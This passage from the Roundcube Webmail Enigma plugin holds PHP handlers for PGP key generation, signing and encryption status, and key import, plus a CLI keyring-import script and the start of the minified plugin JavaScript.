        $user = rcube_utils::get_input_string('_user', rcube_utils::INPUT_POST, true);
        $pass = rcube_utils::get_input_string('_password', rcube_utils::INPUT_POST, true);
        $size = (int) rcube_utils::get_input_value('_size', rcube_utils::INPUT_POST);

        if ($size > 4096) {
            $size = 4096;
        }

        $ident = rcube_mime::decode_address_list($user, 1, false);

        if (empty($ident)) {
            $this->rc->output->show_message('enigma.keygenerateerror', 'error');
            $this->rc->output->send();
        }

        $this->enigma->load_engine();
        $result = $this->enigma->engine->generate_key([
                'user'     => $ident[1]['name'],
                'email'    => $ident[1]['mailto'],
                'password' => $pass,
                'size'     => $size,
        ]);

        if ($result instanceof enigma_key) {
            $this->rc->output->command('enigma_key_create_success');
            $this->rc->output->show_message('enigma.keygeneratesuccess', 'confirmation');
        }
        else {
            $this->rc->output->show_message('enigma.keygenerateerror', 'error');
        }

        $this->rc->output->send();
    }

    /**
     * Key generation page handler
     */
    private function key_create()
    {
        $this->enigma->include_script('openpgp.min.js');

        $this->rc->output->add_handlers([
            'keyform' => [$this, 'tpl_key_create_form'],
        ]);

        $this->rc->output->set_pagetitle($this->enigma->gettext('keygenerate'));
        $this->rc->output->send('enigma.keycreate');
    }

    /**
     * Template object for key generation form
     *
     * @param array $attrib Object attributes
     *
     * @return string HTML output
     */
    function tpl_key_create_form($attrib)
    {
        $attrib += ['id' => 'rcmKeyCreateForm'];
        $table  = new html_table(['cols' => 2]);

        // get user's identities
        $identities = $this->rc->user->list_identities(null, true);
        $checkbox   = new html_checkbox(['name' => 'identity[]']);

        $plugin     = $this->rc->plugins->exec_hook('enigma_user_identities', ['identities' => $identities]);
        $identities = $plugin['identities'];
        $engine     = $this->enigma->load_engine();

        foreach ($identities as $idx => $ident) {
            $name = format_email_recipient($ident['email'], $ident['name']);
            $attr = ['value' => $idx, 'data-name' => $ident['name'], 'data-email' => $ident['email_ascii']];
            $identities[$idx] = html::tag('li', null, html::label(null, $checkbox->show($idx, $attr) . rcube::Q($name)));
        }

        $table->add('title', html::label('key-name', rcube::Q($this->enigma->gettext('newkeyident'))));
        $table->add(null, html::tag('ul', 'proplist', implode("\n", $identities)));

        // Key size
        $select = new html_select(['name' => 'type', 'id' => 'key-type', 'class' => 'custom-select']);
        $select->add($this->enigma->gettext('rsa2048'), 'rsa2048');
        $select->add($this->enigma->gettext('rsa4096'), 'rsa4096');

        if ($engine->is_supported(enigma_driver::SUPPORT_ECC)) {
            $select->add($this->enigma->gettext('ecckeypair'), 'ecc');
        }

        $table->add('title', html::label('key-type', rcube::Q($this->enigma->gettext('newkeytype'))));
        $table->add(null, $select->show());

        // Password and confirm password
        $table->add('title', html::label('key-pass', rcube::Q($this->enigma->gettext('newkeypass'))));
        $table->add(null, rcube_output::get_edit_field('password', '', [
                'id'           => 'key-pass',
                'size'         => isset($attrib['size']) ? $attrib['size'] : null,
                'required'     => true,
                'autocomplete' => 'new-password',
                'oninput'      => "this.type = this.value.length ? 'password' : 'text'",
            ], 'text')
        );

        $table->add('title', html::label('key-pass-confirm', rcube::Q($this->enigma->gettext('newkeypassconfirm'))));
        $table->add(null, rcube_output::get_edit_field('password-confirm', '', [
                'id'           => 'key-pass-confirm',
                'size'         => isset($attrib['size']) ? $attrib['size'] : null,
                'required'     => true,
                'autocomplete' => 'new-password',
                'oninput'      => "this.type = this.value.length ? 'password' : 'text'",
            ], 'text')
        );

        $warning = $this->enigma->gettext('keystoragenotice');
        $warning = html::div(['class' => 'boxinformation mb-3', 'id' => 'key-notice'], $warning);

        $this->rc->output->add_gui_object('keyform', $attrib['id']);
        $this->rc->output->add_label('enigma.keygenerating', 'enigma.formerror',
            'enigma.passwordsdiffer', 'enigma.keygenerateerror', 'enigma.noidentselected',
            'enigma.keygennosupport');

        return $this->rc->output->form_tag([], $warning . $table->show($attrib));
    }

    /**
     * Key deleting
     */
    private function key_delete()
    {
        $keys   = rcube_utils::get_input_value('_keys', rcube_utils::INPUT_POST);
        $engine = $this->enigma->load_engine();

        foreach ((array) $keys as $key) {
            $res = $engine->delete_key($key);

            if ($res !== true) {
                $this->rc->output->show_message('enigma.keyremoveerror', 'error');
                $this->rc->output->command('enigma_list');
                $this->rc->output->send();
            }
        }

        $this->rc->output->command('enigma_list');
        $this->rc->output->show_message('enigma.keyremovesuccess', 'confirmation');
        $this->rc->output->send();
    }

    /**
     * Init compose UI (add task button and the menu)
     */
    private function compose_ui()
    {
        $this->add_css();
        $this->rc->output->add_label('enigma.sendunencrypted');

        // Elastic skin (or a skin based on it)
        if (array_key_exists('elastic', (array) $this->rc->output->skins)) {
            $this->enigma->api->add_content($this->compose_ui_options(), 'composeoptions');
        }
        // other skins
        else {
            // Options menu button
            $this->enigma->add_button([
                    'type'     => 'link',
                    'command'  => 'plugin.enigma',
                    'onclick'  => "rcmail.command('menu-open', 'enigmamenu', event.target, event)",
                    'class'    => 'button enigma',
                    'title'    => 'encryptionoptions',
                    'label'    => 'encryption',
                    'domain'   => $this->enigma->ID,
                    'width'    => 32,
                    'height'   => 32,
                    'aria-owns'     => 'enigmamenu',
                    'aria-haspopup' => 'true',
                    'aria-expanded' => 'false',
                ], 'toolbar'
            );

            // Options menu contents
            $this->rc->output->add_footer($this->compose_ui_options(true));
        }
    }

    /**
     * Init compose UI (add task button and the menu)
     */
    private function compose_ui_options($wrap = false)
    {
        $locks = (array) $this->rc->config->get('enigma_options_lock');
        $chbox = new html_checkbox(['value' => 1]);

        $out = html::div('form-group form-check row',
            html::label(['for' => 'enigmasignopt', 'class' => 'col-form-label col-6'],
                rcube::Q($this->enigma->gettext('signmsg'))
            )
            . html::div('form-check col-6',
                $chbox->show($this->rc->config->get('enigma_sign_all') ? 1 : 0, [
                        'name'     => '_enigma_sign',
                        'id'       => 'enigmasignopt',
                        'class'    => 'form-check-input',
                        'disabled' => in_array('sign', $locks),
                ])
            )
        );

        $out .= html::div('form-group form-check row',
            html::label(['for' => 'enigmaencryptopt', 'class' => 'col-form-label col-6'],
                rcube::Q($this->enigma->gettext('encryptmsg'))
            )
            . html::div('form-check col-6',
                $chbox->show($this->rc->config->get('enigma_encrypt_all') ? 1 : 0, [
                        'name'     => '_enigma_encrypt',
                        'id'       => 'enigmaencryptopt',
                        'class'    => 'form-check-input',
                        'disabled' => in_array('encrypt', $locks),
                ])
            )
        );

        $out .= html::div('form-group form-check row',
            html::label(['for' => 'enigmaattachpubkeyopt', 'class' => 'col-form-label col-6'],
                rcube::Q($this->enigma->gettext('attachpubkeymsg'))
            )
            . html::div('form-check col-6',
                $chbox->show($this->rc->config->get('enigma_attach_pubkey') ? 1 : 0, [
                        'name'     => '_enigma_attachpubkey',
                        'id'       => 'enigmaattachpubkeyopt',
                        'class'    => 'form-check-input',
                        'disabled' => in_array('pubkey', $locks),
                ])
            )
        );

        if (!$wrap) {
            return $out;
        }

        return html::div(['id' => 'enigmamenu', 'class' => 'popupmenu'], $out);
    }

    /**
     * Handler for message_body_prefix hook.
     * Called for every displayed (content) part of the message.
     * Adds infobox about signature verification and/or decryption
     * status above the body.
     *
     * @param array $p Original parameters
     *
     * @return array Modified parameters
     */
    function status_message($p)
    {
        // skip: not a message part
        if ($p['part'] instanceof rcube_message) {
            return $p;
        }

        // skip: message has no signed/encoded content
        if (!$this->enigma->engine) {
            return $p;
        }

        $engine   = $this->enigma->engine;
        $part_id  = $p['part']->mime_id;
        $messages = [];

        // Decryption status
        if (($found = $this->find_part_id($part_id, $engine->decryptions)) !== null
            && !empty($engine->decryptions[$found])
        ) {
            $status = $engine->decryptions[$found];
            $attach_scripts = true;

            // show the message only once
            unset($engine->decryptions[$found]);

            // display status info
            $attrib = ['id' => 'enigma-message'];

            if ($status instanceof enigma_error) {
                $attrib['class'] = 'boxerror enigmaerror encrypted';
                $code            = $status->getCode();

                if ($code == enigma_error::KEYNOTFOUND) {
                    $msg = rcube::Q(str_replace('$keyid', enigma_key::format_id($status->getData('id')),
                        $this->enigma->gettext('decryptnokey')));
                }
                else if ($code == enigma_error::BADPASS) {
                    $missing = $status->getData('missing');
                    $label   = 'decrypt' . (!empty($missing) ? 'no' : 'bad') . 'pass';
                    $msg     = rcube::Q($this->enigma->gettext($label));
                    $this->password_prompt($status);
                }
                else if ($code == enigma_error::NOMDC) {
                    $msg = rcube::Q($this->enigma->gettext('decryptnomdc'));
                }
                else {
                    $msg = rcube::Q($this->enigma->gettext('decrypterror'));
                }
            }
            else if ($status === enigma_engine::ENCRYPTED_PARTIALLY) {
                $attrib['class'] = 'boxwarning enigmawarning encrypted';
                $msg = rcube::Q($this->enigma->gettext('decryptpartial'));
            }
            else {
                $attrib['class'] = 'boxconfirmation enigmanotice encrypted';
                $msg = rcube::Q($this->enigma->gettext('decryptok'));
            }

            $attrib['msg'] = $msg;
            $messages[] = $attrib;
        }

        // Signature verification status
        if (($found = $this->find_part_id($part_id, $engine->signatures)) !== null
            && !empty($engine->signatures[$found])
        ) {
            $sig = $engine->signatures[$found];
            $attach_scripts = true;

            // show the message only once
            unset($engine->signatures[$found]);

            // display status info
            $attrib = ['id' => 'enigma-message'];

            if ($sig instanceof enigma_signature) {
                $sender = $sig->get_sender($engine, $p['message'], $part_id);

                if ($sig->valid === enigma_error::UNVERIFIED) {
                    $attrib['class'] = 'boxwarning enigmawarning signed';
                    $msg = str_replace('$sender', $sender, $this->enigma->gettext('sigunverified'));
                    $msg = str_replace('$keyid', $sig->id, $msg);
                    $msg = rcube::Q($msg);
                }
                else if ($sig->valid) {
                    $attrib['class'] = ($sig->partial ? 'boxwarning enigmawarning' : 'boxconfirmation enigmanotice') . ' signed';
                    $label = 'sigvalid' . ($sig->partial ? 'partial' : '');
                    $msg = rcube::Q(str_replace('$sender', $sender, $this->enigma->gettext($label)));
                }
                else {
                    $attrib['class'] = 'boxwarning enigmawarning signed';
                    if ($sender) {
                        $msg = rcube::Q(str_replace('$sender', $sender, $this->enigma->gettext('siginvalid')));
                    }
                    else {
                        $msg = rcube::Q(str_replace('$keyid', enigma_key::format_id($sig->id),
                            $this->enigma->gettext('signokey')));
                    }
                }
            }
            else if ($sig && $sig->getCode() == enigma_error::KEYNOTFOUND) {
                $attrib['class'] = 'boxwarning enigmawarning signed';
                $msg = rcube::Q(str_replace('$keyid', enigma_key::format_id($sig->getData('id')),
                    $this->enigma->gettext('signokey')));
            }
            else {
                $attrib['class'] = 'boxwarning enigmaerror signed';
                $msg = rcube::Q($this->enigma->gettext('sigerror'));
            }

            $attrib['msg'] = $msg;
            $messages[]    = $attrib;
        }

        if ($count = count($messages)) {
            if ($count == 2 && $messages[0]['class'] == $messages[1]['class']) {
                $p['prefix'] .= html::div($messages[0], $messages[0]['msg'] . ' ' . $messages[1]['msg']);
            }
            else {
                foreach ($messages as $msg) {
                    $p['prefix'] .= html::div($msg, $msg['msg']);
                }
            }
        }

        if (!empty($attach_scripts)) {
            // add css and js script
            $this->add_css();
            $this->add_js();
        }

        return $p;
    }

    /**
     * Handler for message_load hook.
     * Check message bodies and attachments for keys/certs.
     */
    function message_load($p)
    {
        $engine = $this->enigma->load_engine();

        // handle keys/certs in attachments
        foreach ((array) $p['object']->attachments as $attachment) {
            if ($engine->is_keys_part($attachment)) {
                $this->keys_parts[] = $attachment->mime_id;
            }
        }

        // the same with message bodies
        foreach ((array) $p['object']->parts as $part) {
            if ($engine->is_keys_part($part)) {
                $this->keys_parts[]  = $part->mime_id;
                $this->keys_bodies[] = $part->mime_id;
            }
        }

        // @TODO: inline PGP keys

        if ($this->keys_parts) {
            $this->enigma->add_texts('localization');
        }

        return $p;
    }

    /**
     * Handler for template_object_messagebody hook.
     * This callback function adds a box below the message content
     * if there is a key/cert attachment available
     */
    function message_output($p)
    {
        foreach ($this->keys_parts as $part) {
            // remove part's body
            if (in_array($part, $this->keys_bodies)) {
                $p['content'] = '';
            }

            // add box above the message body
            $p['content'] = html::p(['class' => 'enigmaattachment boxinformation aligned-buttons'],
                html::span(null, rcube::Q($this->enigma->gettext('keyattfound'))) .
                html::tag('button', [
                        'onclick' => "return ".rcmail_output::JS_OBJECT_NAME.".enigma_import_attachment('".rcube::JQ($part)."')",
                        'title'   => $this->enigma->gettext('keyattimport'),
                        'class'   => 'import btn-sm',
                    ], rcube::Q($this->rc->gettext('import'))
                )
            ) . $p['content'];

            $attach_scripts = true;
        }

        if (!empty($attach_scripts)) {
            // add css and js script
            $this->add_css();
            $this->add_js();
        }

        return $p;
    }

    /**
     * Handle message_ready hook (encryption/signing/attach public key)
     */
    function message_ready($p)
    {
        // The message might have been already encrypted by Mailvelope
        if (strpos((string) $p['message']->getParam('ctype'), 'multipart/encrypted') === 0) {
            return $p;
        }

        $savedraft      = !empty($_POST['_draft']) && empty($_GET['_saveonly']);
        $sign_enable    = (bool) rcube_utils::get_input_value('_enigma_sign', rcube_utils::INPUT_POST);
        $encrypt_enable = (bool) rcube_utils::get_input_value('_enigma_encrypt', rcube_utils::INPUT_POST);
        $pubkey_enable  = (bool) rcube_utils::get_input_value('_enigma_attachpubkey', rcube_utils::INPUT_POST);
        $locks          = (array) $this->rc->config->get('enigma_options_lock');

        if (in_array('sign', $locks)) {
            $sign_enable = (bool) $this->rc->config->get('enigma_sign_all');
        }
        if (in_array('encrypt', $locks)) {
            $encrypt_enable = (bool) $this->rc->config->get('enigma_encrypt_all');
        }
        if (in_array('pubkey', $locks)) {
            $pubkey_enable = (bool) $this->rc->config->get('enigma_attach_pubkey');
        }

        if (!$savedraft && $pubkey_enable) {
            $engine = $this->enigma->load_engine();
            $engine->attach_public_key($p['message']);
        }

        $mode   = null;
        $status = null;

        if ($encrypt_enable) {
            $engine = $this->enigma->load_engine();
            $mode   = !$savedraft && $sign_enable ? enigma_engine::ENCRYPT_MODE_SIGN : null;
            $status = $engine->encrypt_message($p['message'], $mode, $savedraft);
            $mode   = 'encrypt';
        }
        else if (!$savedraft && $sign_enable) {
            $engine = $this->enigma->load_engine();
            $status = $engine->sign_message($p['message'], enigma_engine::SIGN_MODE_MIME);
            $mode   = 'sign';
        }

        if ($mode && ($status instanceof enigma_error)) {
            $code = $status->getCode();
            $vars = [];

            if ($code == enigma_error::KEYNOTFOUND) {
                if ($email = $status->getData('missing')) {
                    $vars = ['email' => $email];
                    $msg  = 'enigma.' . $mode . 'nokey';
                }
                else {
                    $msg = 'enigma.' . ($encrypt_enable ? 'encryptnoprivkey' : 'signnokey');
                }
            }
            else if ($code == enigma_error::BADPASS) {
                $this->password_prompt($status);
            }
            else {
                $msg = 'enigma.' . $mode . 'error';
            }

            if (!empty($msg)) {
                if (!empty($vars) && !empty($vars['email'])) {
                    $this->rc->output->command('enigma_key_not_found', [
                            'email'  => $vars['email'],
                            'text'   => $this->rc->gettext(['name' => $msg, 'vars' => $vars]),
                            'title'  => $this->enigma->gettext('keynotfound'),
                            'button' => $this->enigma->gettext('findkey'),
                            'mode'   => $mode,
                    ]);
                }
                else {
                    $this->rc->output->show_message($msg, 'error', $vars);
                }
            }

            $this->rc->output->send('iframe');
        }

        return $p;
    }

   /**
     * Handler for message_compose_body hook
     * Display error when the message cannot be encrypted
     * and provide a way to try again with a password.
     */
    function message_compose($p)
    {
        $engine = $this->enigma->load_engine();

        // skip: message has no signed/encoded content
        if (!$this->enigma->engine) {
            return $p;
        }

        $engine = $this->enigma->engine;
        $locks  = (array) $this->rc->config->get('enigma_options_lock');

        // Decryption status
        foreach ($engine->decryptions as $status) {
            if ($status instanceof enigma_error) {
                $code = $status->getCode();

                if ($code == enigma_error::BADPASS) {
                    $this->password_prompt($status, ['compose-init' => true]);
                    return $p;
                }

                if ($code == enigma_error::KEYNOTFOUND) {
                    $msg = rcube::Q(str_replace('$keyid', enigma_key::format_id($status->getData('id')),
                        $this->enigma->gettext('decryptnokey')));
                }
                else {
                    $msg = rcube::Q($this->enigma->gettext('decrypterror'));
                }
            }
        }

        if (!empty($msg)) {
            $this->rc->output->show_message($msg, 'error');
        }

        // Check sign/encrypt options for signed/encrypted drafts
        if (!in_array('encrypt', $locks)) {
            $this->rc->output->set_env('enigma_force_encrypt', !empty($engine->decryptions));
        }
        if (!in_array('sign', $locks)) {
            $this->rc->output->set_env('enigma_force_sign', !empty($engine->signatures));
        }

        return $p;
    }

    /**
     * Handler for keys/certs import request action
     */
    function import_file()
    {
        $uid     = rcube_utils::get_input_string('_uid', rcube_utils::INPUT_POST);
        $mbox    = rcube_utils::get_input_string('_mbox', rcube_utils::INPUT_POST);
        $mime_id = rcube_utils::get_input_string('_part', rcube_utils::INPUT_POST);
        $engine  = $this->enigma->load_engine();

        if ($uid && $mime_id) {
            // Note: we get the attachment body via rcube_message class
            // to support keys inside encrypted messages (#5285)
            $message = new rcube_message($uid, $mbox);

            // Check if we don't need to ask for password again
            foreach ($engine->decryptions as $status) {
                if ($status instanceof enigma_error) {
                    if ($status->getCode() == enigma_error::BADPASS) {
                        $this->password_prompt($status, [
                                'input_uid'    => $uid,
                                'input_mbox'   => $mbox,
                                'input_part'   => $mime_id,
                                'input_task'   => 'mail',
                                'input_action' => 'plugin.enigmaimport',
                                'action'       => '?',
                                'iframe'       => true,
                        ]);
                        $this->rc->output->send($this->rc->output->type == 'html' ? 'iframe' : null);
                        return;
                    }
                }
            }

            if ($engine->is_keys_part($message->mime_parts[$mime_id])) {
                $part = $message->get_part_body($mime_id);
            }
        }

        if (!empty($part) && is_array($result = $engine->import_key($part))) {
            $this->rc->output->show_message('enigma.keysimportsuccess', 'confirmation',
                ['new' => $result['imported'], 'old' => $result['unchanged']]);
        }
        else {
            $this->rc->output->show_message('enigma.keysimportfailed', 'error');
        }

        $this->rc->output->send($this->rc->output->type == 'html' ? 'iframe' : null);
    }

    /**
     * Check if the part or its parent exists in the array
     * of decryptions/signatures. Returns found ID.
     */
    private function find_part_id($part_id, $data)
    {
        $ids   = explode('.', $part_id);
        $i     = 0;
        $count = count($ids);

        while ($i < $count && strlen($part = implode('.', array_slice($ids, 0, ++$i)))) {
            if (array_key_exists($part, $data)) {
                return $part;
            }
        }
    }
}
PKh�\�QQ!plugins/enigma/bin/import_keys.shnu�[���#!/usr/bin/env php
<?php
/*
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Import keys from Enigma's homedir into database for multihost       |
 |   support.                                                            |
 +-----------------------------------------------------------------------+
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

define('INSTALL_PATH', realpath(__DIR__ . '/../../../') . '/');

require INSTALL_PATH . 'program/include/clisetup.php';

$rcmail = rcube::get_instance();

// get arguments
$args = rcube_utils::get_opt([
        'u' => 'user',
        'h' => 'host',
        'd' => 'dir',
        'x' => 'dry-run',
]);

if (!empty($_SERVER['argv'][1]) && $_SERVER['argv'][1] == 'help') {
    print_usage();
    exit;
}

if (empty($args['dir'])) {
    rcube::raise_error("--dir argument is required", true);
}

$host = get_host($args);
$dirs = [];

// Read the homedir and iterate over all subfolders (as users)
if (empty($args['user'])) {
    if ($dh = opendir($args['dir'])) {
        while (($dir = readdir($dh)) !== false) {
            if ($dir != '.' && $dir != '..') {
                $dirs[$args['dir'] . '/' . $dir] = $dir;
            }
        }
        closedir($dh);
    }
}
// a single user
else {
    $dirs = [$args['dir'] => $args['user']];
}

foreach ($dirs as $dir => $user) {
    echo "Importing keys from $dir\n";

    if ($user_id = get_user_id($user, $host)) {
        reset_state($user_id, !empty($args['dry-run']));
        import_dir($user_id, $dir, !empty($args['dry-run']));
    }
}


function print_usage()
{
    print "Usage: import.sh [options]\n";
    print "Options:\n";
    print "    --user=username User, if not set --dir subfolders will be iterated\n";
    print "    --host=host     The IMAP hostname or IP the given user is related to\n";
    print "    --dir=path      Location of the gpg homedir\n";
    print "    --dry-run       Do nothing, just list found user/files\n";
}

function get_host($args)
{
    global $rcmail;

    if (empty($args['host'])) {
        $hosts = $rcmail->config->get('imap_host', '');
        if (is_string($hosts)) {
            $args['host'] = $hosts;
        }
        else if (is_array($hosts) && count($hosts) == 1) {
            $args['host'] = reset($hosts);
        }
        else {
            rcube::raise_error("Specify a host name", true);
        }

        // host can be a URL like tls://192.168.12.44
        $host_url = parse_url($args['host']);
        if (!empty($host_url['host'])) {
            $args['host'] = $host_url['host'];
        }
    }

    return $args['host'];
}

function get_user_id($username, $host)
{
    global $rcmail;

    $db = $rcmail->get_dbh();

    // find user in local database
    $user = rcube_user::query($username, $host);

    if (empty($user)) {
        rcube::raise_error("User does not exist: $username");
    }

    return $user->ID;
}

function reset_state($user_id, $dry_run = false)
{
    global $rcmail;

    if ($dry_run) {
        return;
    }

    $db = $rcmail->get_dbh();

    $db->query("DELETE FROM " . $db->table_name('filestore', true)
        . " WHERE `user_id` = ? AND `context` = ?",
        $user_id, 'enigma');
}

function import_dir($user_id, $dir, $dry_run = false)
{
    global $rcmail;

    $db       = $rcmail->get_dbh();
    $table    = $db->table_name('filestore', true);
    $db_files = ['pubring.gpg', 'secring.gpg', 'pubring.kbx'];
    $maxsize  = min($db->get_variable('max_allowed_packet', 1048500), 4*1024*1024) - 2000;

    foreach (glob("$dir/private-keys-v1.d/*.key") as $file) {
        $db_files[] = substr($file, strlen($dir) + 1);
    }

    foreach ($db_files as $file) {
        if ($mtime = @filemtime("$dir/$file")) {
            $data     = file_get_contents("$dir/$file");
            $data     = base64_encode($data);
            $datasize = strlen($data);

            if ($datasize > $maxsize) {
                rcube::raise_error([
                        'code' => 605, 'line' => __LINE__, 'file' => __FILE__,
                        'message' => "Enigma: Failed to save $file. Size exceeds max_allowed_packet."
                    ], true, false);

                continue;
            }

            echo "* $file\n";

            if ($dry_run) {
                continue;
            }

            $result = $db->query(
                "INSERT INTO $table (`user_id`, `context`, `filename`, `mtime`, `data`)"
                . " VALUES(?, 'enigma', ?, ?, ?)",
                $user_id, $file, $mtime, $data);

            if ($db->is_error($result)) {
                rcube::raise_error([
                        'code' => 605, 'line' => __LINE__, 'file' => __FILE__,
                        'message' => "Enigma: Failed to save $file into database."
                    ], true, false);
            }
        }
    }
}
PKh�\C�)-8-8plugins/enigma/enigma.min.jsnu�[���/**
 * Enigma plugin script
 *
 * @licstart  The following is the entire license notice for the
 * JavaScript code in this file.
 *
 * Copyright (c) The Roundcube Dev Team
 *
 * The JavaScript code in this page is free software: you can redistribute it
 * and/or modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation, either version 3 of
 * the License, or (at your option) any later version.
 *
 * @licend  The above is the entire license notice
 * for the JavaScript code in this file.
 */
window.rcmail&&rcmail.addEventListener("init",function(e){"settings"==rcmail.env.task?(rcmail.gui_objects.keyslist&&(rcmail.keys_list=new rcube_list_widget(rcmail.gui_objects.keyslist,{multiselect:!0,draggable:!1,keyboard:!0}),rcmail.keys_list.addEventListener("select",function(e){rcmail.enigma_keylist_select(e)}).addEventListener("keypress",function(e){rcmail.list_keypress(e,{del:"plugin.enigma-key-delete"})}).init().focus(),rcmail.enigma_list(),rcmail.register_command("firstpage",function(e){return rcmail.enigma_list_page("first")}),rcmail.register_command("previouspage",function(e){return rcmail.enigma_list_page("previous")}),rcmail.register_command("nextpage",function(e){return rcmail.enigma_list_page("next")}),rcmail.register_command("lastpage",function(e){return rcmail.enigma_list_page("last")})),"plugin.enigmakeys"==rcmail.env.action&&(rcmail.register_command("search",function(e){return rcmail.enigma_search(e)},!0),rcmail.register_command("reset-search",function(e){return rcmail.enigma_search_reset(e)},!0),rcmail.register_command("plugin.enigma-import",function(){rcmail.enigma_import()},!0),rcmail.register_command("plugin.enigma-import-search",function(){rcmail.enigma_import_search()},!0),rcmail.register_command("plugin.enigma-key-export",function(){rcmail.enigma_export()}),rcmail.register_command("plugin.enigma-key-export-selected",function(){rcmail.enigma_export(!0)}),rcmail.register_command("plugin.enigma-key-import",function(){rcmail.enigma_key_import()},!0),rcmail.register_command("plugin.enigma-key-import-search",function(){rcmail.enigma_key_import_search()},!0),rcmail.register_command("plugin.enigma-key-delete",function(e){return rcmail.enigma_delete()}),rcmail.register_command("plugin.enigma-key-create",function(e){return rcmail.enigma_key_create()},!0),rcmail.register_command("plugin.enigma-key-save",function(e){return rcmail.enigma_key_create_save()},!0),rcmail.addEventListener("responseafterplugin.enigmakeys",function(){rcmail.enable_command("plugin.enigma-key-export",0<rcmail.env.rowcount),rcmail.triggerEvent("listupdate",{list:rcmail.keys_list,rowcount:rcmail.env.rowcount})}),rcmail.gui_objects.importform)&&$("#rcmimportsearch").keydown(function(e){if(13==e.which)return rcmail.enigma_import_search(),!1})):"mail"==rcmail.env.task&&("compose"==rcmail.env.action&&(rcmail.addEventListener("beforesend",function(e){rcmail.enigma_beforesend_handler(e)}).addEventListener("beforesavedraft",function(e){rcmail.enigma_beforesavedraft_handler(e)}),$("#enigmamenu").find("input,label").mouseup(function(e){e.stopPropagation()}),$("a.button.enigma").prop("tabindex",$("#messagetoolbar > a").first().prop("tabindex")),$.each(["encrypt","sign"],function(){var e=this,t=$("#enigma"+e+"opt");rcmail.env["enigma_force_"+e]&&t.prop("checked",!0),window.UI&&UI.compose_status&&t.on("change",function(){UI.compose_status(e,this.checked)}),t.trigger("change")})),rcmail.env.enigma_password_request)&&rcmail.enigma_password_request(rcmail.env.enigma_password_request)}),rcube_webmail.prototype.enigma_key_import=function(){var t=$("<iframe>").attr("src",this.url("plugin.enigmakeys",{_a:"import",_framed:1}));this.enigma_import_dialog=this.simple_dialog(t,"enigma.importkeys",function(e){t[0].contentWindow.rcmail.enigma_import()},{button:"import",width:500,height:180})},rcube_webmail.prototype.enigma_key_import_search=function(){var e=$("<iframe>").attr("src",this.url("plugin.enigmakeys",{_a:"import-search",_framed:1}));this.enigma_import_dialog=this.simple_dialog(e,"enigma.keyimportsearchlabel",function(){e[0].contentWindow.rcmail.enigma_import_search()},{button:"search",width:500,height:150})},rcube_webmail.prototype.enigma_import_success=function(){(this.enigma_import_dialog||parent.rcmail.enigma_import_dialog).dialog("destroy")},rcube_webmail.prototype.enigma_key_create=function(){this.keys_list.clear_selection(),this.enigma_loadframe("&_action=plugin.enigmakeys&_a=create&_nav=hide")},rcube_webmail.prototype.enigma_key_create_save=function(){var t,e=[],i=$("#key-pass").val(),a=$("#key-pass-confirm").val(),n=$("#key-type").val();$('[name="identity[]"]:checked').each(function(){e.push({name:$(this).data("name")||"",email:$(this).data("email")})}),i&&a?i!=a?this.alert_dialog(this.get_label("enigma.passwordsdiffer")):e.length?window.openpgp&&window.crypto&&window.crypto.getRandomValues?(t=this.set_busy(!0,"enigma.keygenerating"),a={userIDs:e,passphrase:i,type:n.substring(0,3)},"ecc"==n?a.curve="ed25519":a.rsaBits="rsa4096"==n?4096:2048,openpgp.generateKey(a).then(function(e){e={_a:"import",_keys:e.privateKey,_generated:1,_passwd:i};rcmail.http_post("plugin.enigmakeys",e,t)},function(e){console.error(e),rcmail.set_busy(!1,null,t),rcmail.display_message(rcmail.get_label("enigma.keygenerateerror"),"error")})):rcmail.display_message(rcmail.get_label("enigma.keygennosupport"),"error"):this.alert_dialog(this.get_label("enigma.noidentselected")):this.alert_dialog(this.get_label("enigma.formerror"))},rcube_webmail.prototype.enigma_key_create_success=function(){parent.rcmail.enigma_list(1)},rcube_webmail.prototype.enigma_delete=function(){var a=this.keys_list.get_selection();a.length&&this.confirm_dialog(this.get_label("enigma.keyremoveconfirm"),"delete",function(e,t){var i=t.display_message(t.get_label("enigma.keyremoving"),"loading");t.http_post("plugin.enigmakeys",{_a:"delete",_keys:a},i)})},rcube_webmail.prototype.enigma_export=function(e){var t=!1,i=this.keys_list,e=e?i.get_selection().join(","):"*",a={_keys:e};if(e.length){if("*"==e?t=!0:$.each(i.get_selection(),function(){if((flags=$(i.rows[this].obj).data("flags"))&&0<=flags.indexOf("p"))return!(t=!0)}),t)return this.show_popup_dialog(this.get_label("enigma.keyexportprompt"),this.get_label("enigma.exportkeys"),[{class:"export mainaction",text:this.get_label("enigma.onlypubkeys"),click:function(e){rcmail.enigma_export_submit(a),$(this).remove()}},{class:"export",text:this.get_label("enigma.withprivkeys"),click:function(e){a._priv=1,rcmail.enigma_export_submit(a),$(this).remove()}},{class:"cancel",text:this.get_label("close"),click:function(e){$(this).remove()}}],{width:500});this.enigma_export_submit(a)}},rcube_webmail.prototype.enigma_export_submit=function(e){var t="keyexport-"+(new Date).getTime(),i=$("<form>").attr({target:t,method:"post",style:"display:none",action:"?_action=plugin.enigmakeys&_task=settings&_a=export"}),t=$("<iframe>").attr({name:t,style:"display:none"});i.append($("<input>").attr({name:"_token",value:this.env.request_token})),$.each(e,function(e,t){i.append($("<input>").attr({name:e,value:t}))}),t.appendTo(document.body),i.appendTo(document.body).submit()},rcube_webmail.prototype.enigma_import=function(){var e,t,i="keyimport-"+(new Date).getTime();if(e=this.gui_objects.importform){if(!(t=document.getElementById("rcmimportfile"))||t.value)return t=this.set_busy(!0,"importwait"),$("<iframe>").attr({name:i,style:"display:none"}).appendTo(document.body),$(e).attr({target:i,action:this.add_url(e.action,"_unlock",t)}).submit(),!0;this.alert_dialog(this.get_label("selectimportfile"))}},rcube_webmail.prototype.enigma_import_search=function(){var e;this.gui_objects.importform&&(e=$("#rcmimportsearch").val())&&this.enigma_find_publickey(e)},rcube_webmail.prototype.enigma_keylist_select=function(e){var 